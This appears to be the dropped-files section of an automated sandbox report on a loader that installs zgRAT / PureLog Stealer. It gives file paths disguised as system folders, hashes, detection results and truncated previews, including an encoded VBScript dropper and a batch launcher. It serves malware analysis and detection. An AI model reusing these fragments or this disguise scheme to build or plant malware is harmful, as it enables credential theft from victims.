Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....LTg............................N.... ... ....@.. .......................`............@.....................................K.... .. ....................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc... .... ......................@....reloc.......@......................@..B................0.......H...........................h...}........................................0..........(.... ........8........E........<.......`...8....(.... ........8....(.... ....~{...{\|...9....& ....8....(.... ....~{...{....9....& ....8........0.......... ........8........E....;...............G...86...~....(W... .... .... ....s....~....([....... ....8....r...ps....z....~....(_...~....(c... ....?.... ....~{...{....9j...& ....8_......... ....8O...~....:.... ....~{...{l...91...& ....8&.....(.

C:\Recovery\088424020bedd6

Download File

Process:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
File Type:	ASCII text, with very long lines (587), with no line terminators
Category:	dropped
Size (bytes):	587
Entropy (8bit):	5.902606128090888
Encrypted:	false
SSDEEP:	12:WbPpXiUnbtQ1pZfBCgnQ4pmsOA1VVrDZ+T0NUKRL8n:Wtiwbt5gfROsrTGsYn
MD5:	2EFC49C41A33029AEF882DD57643055D
SHA1:	2C47875F73CAB204939F5F0682BC565A61972B0A
SHA-256:	17A1F52215158BBB41B00446B54E471C6D53D361AB7CA7A2F2954248F101CA86
SHA-512:	14BC02C949A4C6F8E43B35471E3F65A4E8F02848BFE037D82F0D7C5D36EB9C9B9B45B56D6ADCFCBFC8F736E6ABD0C32539ECF848DB23F22C6D33251F354137B8
Malicious:	false
Preview:	TjBVZQB9eRyagC64Mf6Oxtond2Fx3diwmD6KYIHmjTX8l4AY1Ou7Ezxk4X1hLNFBtBxcFvfDXUodVqCj2r6oskrwQWQBRkbVNWOjGhSFsrkuKTONUSodRaTITBLtfewx2SQ9bdcUY06AA7m7ICq957EwDFPFVjkN5w11DPw1zUFbeSIWZOkcyx15Od5WNX9zQsFNGu43QyJl2mSv63qH8HZI45mjTZocVPLvM5PoUqM9nQDmLJZTq10JT7SKHVk0KqPmbgiBnBxS4Zeo2AXJAUvdZBbPmFh8GVz7AaKplXppEiO4coRG7azz4wNZETYidyLjjhnb0sinpGZ1xhw8xbBqfACONukS8HLQWoV5B0PO2MKyXVlhgavCwfDifYOFIQoi5JfJL177LwxT0O12JCviWId0lwZmlKGlil3O0cWpcx19rusRhW6GeFMwpohZbUVAqMuOVnBqqGFiRdI0DIFPN9HcZGiM46NHc0Tf9e54UQZY9neMfrVSPFxqESyOEzvt27GaKn0jMK57kscwmVqNk52WDmarprzfeqgBhDC20wFEKzGWzCmsIhJ7FtXhMI3fVac3MaP

C:\Recovery\conhost.exe

Download File

Process:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1960448
Entropy (8bit):	7.549634788914284
Encrypted:	false
SSDEEP:	49152:rmEq5m1AfIGxLnCllU3WU8zMYCNCsr+QKujfx:rmEq5GGxLnIlP2NgQKGfx
MD5:	CF5B49706562BA2047CDA4A451DD573A
SHA1:	D7D66016B5EA4215581F208C7972B2FF49CBEED1
SHA-256:	74547E5B862BD3691947B78EABBDAB88C468E26144BD03911BE68941376DC89B
SHA-512:	0DC54FC8AFE4A1B8CE0D72E215CF617DBC657F4E02CABE7BE694B0D20BE385F63848E49717BD4856547DBB52F8A762E54C63323B53188CC1D8127C54B6A10F1E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Recovery\conhost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Recovery\conhost.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....LTg............................N.... ... ....@.. .......................`............@.....................................K.... .. ....................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc... .... ......................@....reloc.......@......................@..B................0.......H...........................h...}........................................0..........(.... ........8........E........<.......`...8....(.... ........8....(.... ....~{...{\|...9....& ....8....(.... ....~{...{....9....& ....8........0.......... ........8........E....;...............G...86...~....(W... .... .... ....s....~....([....... ....8....r...ps....z....~....(_...~....(c... ....?.... ....~{...{....9j...& ....8_......... ....8O...~....:.... ....~{...{l...91...& ....8&.....(.

C:\ServerWinRuntimeBroker\OAKCwEsKnudXsAgphVRYMDBaoP2ZIjCO6J5QYyd0q81GMNjCqOkwlC1.vbe

Download File

Process:	C:\Users\user\Desktop\loader.exe
File Type:	data
Category:	dropped
Size (bytes):	223
Entropy (8bit):	5.794994326983631
Encrypted:	false
SSDEEP:	6:GXkgwqK+NkLzWbHa/JUrFnBaORbM5nCSkXs0/zURJNG:GXkBMCzWLauhBaORbQCSMHzsG
MD5:	3569AEC6289503482C7877AD3F205301
SHA1:	CF016699D614C9F2E9A899C646CD24ACA6B75FCF
SHA-256:	A2BB38C2D2EAFAC2D73AF9247252DE8CFAC9A4F9522B4F66AD73D9A003FC7754
SHA-512:	D8DF28CD229E31EB97A705D02AAC38F836B5B05741BDB7C97F4A8D9D3EEC183A3883E39B30C2141E9C8B650C98EDFB51A8CB7FCE1C87D67B15BD9DC52A1B1EF5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	#@~^xgAAAA==j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE@#@&.U^DbwO UV+n2vFT!ZT@#@&U+DP.ktU4+^V~',Z.nmY+}8L.mYvE.?1DbwORj4.VsJ*@#@&q/4j4+Vs "EUPr/=zj.D7+Dqk.]E.Yr:.A.G0+DJ&hxm&z0^\|WtUHhY/L;H6bW1R(lOEBP!S~6ls/.tz4AAA==^#~@.

C:\ServerWinRuntimeBroker\b1f51d77788e90

Download File

Process:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
File Type:	ASCII text, with very long lines (604), with no line terminators
Category:	dropped
Size (bytes):	604
Entropy (8bit):	5.883595344241889
Encrypted:	false
SSDEEP:	12:K2liyH7f3O3xdSZD+Hx1F3FRs+KgJTdcbs84quEOWwEoqbAD5n+IPiXQd:K2AyaqZCx1Fzs+KgJTdcQN4OL1BVnzPz
MD5:	F0C1C60CDA6EE57CD2D925B79E6F5FDF
SHA1:	61DB5B108995BB7F9C6C0F53B61BBBBA8799C1D9
SHA-256:	CCE9855A619CA87BAE8ECA9F0CDCB8434C575D5A506DAD3908171E4976BBB4A7
SHA-512:	718601B6A0F7FFF44047E2652F0B6DED466C69604454A4DEA31C589F41472586FC80FC81519655096516E549E4999BB91A529D289907E21E906528C3B8F4330F
Malicious:	false
Preview:	3yXltGBRnh4R7pVTZBf9GU7gyC1lTzSDDchANH4lx1y1RZev62mdEhej10xqPa7yO0OeHVFSG4LPfGOYhFobNz8g88JWTOVX39mbLAokwTWKWPDumZIKvglZ1sfJMs92jyVfdxMgbDo3cyJt4Yu3FLmXYNjdeeYEUeki4hRyNlsr2r6CiwPy8FwYM8HQNsC6pji8OlyWG5qec4eqQg5sPkFPrMW6aBkejwCSJ8y673rCYS6Rda9rxTrEdTQBP25EVL4p2LhSs8uW2D0ZQEcAC3qPE7zzrwqF7nrNXQZS2r9yjVMad1vLa5Cbeol4Wsk5SpYOWnC9oKHU42qtuYW0BepCkPsspe5KGEg467DzywgPxshm81J7Vu3xAVoG5TUJO7N0VvwwVgBP8ZP2sFtxU7yWKs4lT74ebWAzeqQMEXmzsozkGvXzjgyRI1qn1LdXlgxlYZYCygs7V9nf3TeijF55htrnAnV33PNL1NLrXVACx15JNKthr5xgl1DpsvBLLzEGwcnqHxKOE2IqyiZz4yM8bqjAJg8mTz17xzWvhDZ3ujbttX0KVMQXnFoG2ngkyi4PAK38LoS1YSO2O0QwpyRHieUr

C:\ServerWinRuntimeBroker\chainPorthostCommon.exe

Download File

Process:	C:\Users\user\Desktop\loader.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1960448
Entropy (8bit):	7.549634788914284
Encrypted:	false
SSDEEP:	49152:rmEq5m1AfIGxLnCllU3WU8zMYCNCsr+QKujfx:rmEq5GGxLnIlP2NgQKGfx
MD5:	CF5B49706562BA2047CDA4A451DD573A
SHA1:	D7D66016B5EA4215581F208C7972B2FF49CBEED1
SHA-256:	74547E5B862BD3691947B78EABBDAB88C468E26144BD03911BE68941376DC89B
SHA-512:	0DC54FC8AFE4A1B8CE0D72E215CF617DBC657F4E02CABE7BE694B0D20BE385F63848E49717BD4856547DBB52F8A762E54C63323B53188CC1D8127C54B6A10F1E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....LTg............................N.... ... ....@.. .......................`............@.....................................K.... .. ....................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc... .... ......................@....reloc.......@......................@..B................0.......H...........................h...}........................................0..........(.... ........8........E........<.......`...8....(.... ........8....(.... ....~{...{\|...9....& ....8....(.... ....~{...{....9....& ....8........0.......... ........8........E....;...............G...86...~....(W... .... .... ....s....~....([....... ....8....r...ps....z....~....(_...~....(c... ....?.... ....~{...{....9j...& ....8_......... ....8O...~....:.... ....~{...{l...91...& ....8&.....(.

C:\ServerWinRuntimeBroker\wJc3A8cK4hSMmtCgCMOA49.bat

Download File

Process:	C:\Users\user\Desktop\loader.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	96
Entropy (8bit):	5.02491439246222
Encrypted:	false
SSDEEP:	3:nxcIqTZdv+GVXGMW4vflGluLVA4n:xc9ZdjcovtCuO4n
MD5:	CA78C31C7FAD40CA729CE40659DD91FA
SHA1:	B649A3669CFFE53122AD50F62F769FAA45B96A92
SHA-256:	88B4BE83A053855858771FDA50D7F6FE0CD5F5FD0CD33B3299C28AAB5EB40E2B
SHA-512:	B606A335AC5F28030E60A00F99E519240BC3D47D7D88E84EB8DE1F34EF19AE6DF56F01F5F6D83FA215F445732596F0865D630675706626545B15E0C64B0A21EC
Malicious:	false
Preview:	%gLxEGOSyvTwXOE%%qhQsntRDmWDxGo%..%PESm%"C:\ServerWinRuntimeBroker/chainPorthostCommon.exe"%oTQ%

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\chainPorthostCommon.exe.log

Download File

Process:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1396
Entropy (8bit):	5.350961817021757
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNrJE4qtE4KlOU4mZsXE4Npv:MxHKQwYHKGSI6oPtHTHhAHKKkrJHmHKu
MD5:	EBB3E33FCCEC5303477CB59FA0916A28
SHA1:	BBF597668E3DB4721CA7B1E1FE3BA66E4D89CD89
SHA-256:	DF0C7154CD75ADDA09758C06F758D47F20921F0EB302310849175D3A7346561F
SHA-512:	663994B1F78D05972276CD30A28FE61B33902D71BF1DFE4A58EA8EEE753FBDE393213B5BA0C608B9064932F0360621AF4B4190976BE8C00824A6EA0D76334571
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..2,"System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutr

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

Download File

Process:	C:\Recovery\conhost.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.354334472896228
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQwYHKGSI6oPtHTHhAHKKkb
MD5:	9F9FA9EFE67E9BBD165432FA39813EEA
SHA1:	6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A
SHA-256:	4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
SHA-512:	F4666179D760D32871DDF54700D6B283AD8DA82FA6B867A214557CBAB757F74ACDFCAD824FB188005C0CEF3B05BF2352B9CA51B2C55AECF762468BB8F5560DB3
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\dasHost.exe.log

Download File

Process:	C:\Windows\DiagTrack\Scenarios\dasHost.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.354334472896228
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQwYHKGSI6oPtHTHhAHKKkb
MD5:	9F9FA9EFE67E9BBD165432FA39813EEA
SHA1:	6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A
SHA-256:	4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
SHA-512:	F4666179D760D32871DDF54700D6B283AD8DA82FA6B867A214557CBAB757F74ACDFCAD824FB188005C0CEF3B05BF2352B9CA51B2C55AECF762468BB8F5560DB3
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\tQESKTdysPpsVzUyXTE.exe.log

Download File

Process:	C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.354334472896228
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQwYHKGSI6oPtHTHhAHKKkb
MD5:	9F9FA9EFE67E9BBD165432FA39813EEA
SHA1:	6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A
SHA-256:	4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
SHA-512:	F4666179D760D32871DDF54700D6B283AD8DA82FA6B867A214557CBAB757F74ACDFCAD824FB188005C0CEF3B05BF2352B9CA51B2C55AECF762468BB8F5560DB3
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Temp\0KfApHTuYW

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0U9a9iwxrv

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0bAGSaIloU

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0ghzjj6GmM

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0kpuNgfS4z

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1oawJcVF7x

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\23sJwa6T3x

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\24JxkFHPzd

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\26RHt739mu

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2W7puGAK7p

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2xjfsQZ2Oh

Download File

Process:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
